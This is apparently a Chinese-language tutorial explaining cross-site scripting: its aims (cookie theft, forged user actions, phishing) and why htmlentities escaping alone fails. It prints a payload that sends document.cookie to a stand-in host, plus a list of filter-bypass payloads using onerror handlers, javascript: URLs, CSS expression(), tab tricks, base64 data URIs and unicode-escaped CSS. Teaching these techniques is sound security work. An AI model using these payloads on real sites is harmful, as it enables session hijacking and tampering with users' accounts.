XSS(Cross Site Script)跨站脚本攻击。是指攻击者向被攻击Web 页面里插入恶意html代码,当用户浏览该页之时,嵌入其中的HTML代码会被执行,从而达到攻击的特殊目的。
常见的有:
-
盗取cookie。
最简单的比如提交一个图片"<img src="x" onerror="window.open(http://xxx.com/getcookie.php?c='+document.cookie)" />"。假如session没有ip绑定的话,在盗取cookie后,还可以伪造cookie,进行session欺骗。 -
模拟用户操作。
只要事先查看了服务器接口的格式,就可以伪造各种数据,当用户浏览页面时,自动以该用户的名义将数据提交到服务器。比如服务器有一个接口叫changeInfo,参数是info,我们只要将一段post代码放到img的onerror里面,这样每个浏览网页的用户的信息都修改成了你想要的。 -
钓鱼攻击。
在注入的代码中,重写本页内容或弹出对话框,要求用户输入诸如用户密码之类的信息。
其核心点在于注入,就是通过各种不同的方式,通过对网站提交一些特殊的数据,或者网站页面中本身就故意包含一些代码,使得页面能自动执行一些我们预想的操作或者屏蔽掉一些页面本身的内容。
我们为了防止执行用户直接在某些输入字段里直接提交'<script>alert(1)</script>'或'xxx–>'及'<!–xxx'这样的代码,在服务器端一般都会用htmlentities之类的转义函数来避免执行。但仅仅这是不够的,因为这仅仅处理了html转义的问题,仅避免了'<script>'这一类的注入方式,可以通过多种手段绕过,如:
-
<img src="x" onerror="alert('ah ha!')" />
-
<meta http-equiv="refresh" content="0;url=javascript:alert('ah ha ha!');">
-
<img src="javascript:alert('ah ha ha ha!');">
-
<font style='color:expression(alert('ah ha ha ha ha!'))'>
以上的写法比较直白,一看就知道干坏事的,我们还可以通过一些手段进行伪装,例如引用外部js,或者利用各种转义,插入不可见字符,及一些hack手段。个人认为最隐蔽的是在css中进行注入,因为css中的一些样式是支持javascript:伪协议的,然后又支持Unicode以及base64编码,这比html中的实体转义更隐蔽,如:
-
<img src=javascript:alert('XSS')>
-
<img src="jav ascript:alert('XSS');">
是tab制表符的转义,更简单的<img src="jav ascript:alert('XSS');"> -
<meta http-equiv="refresh" content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
-
<div style="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
更多的可以参看XSS Cheat Sheet。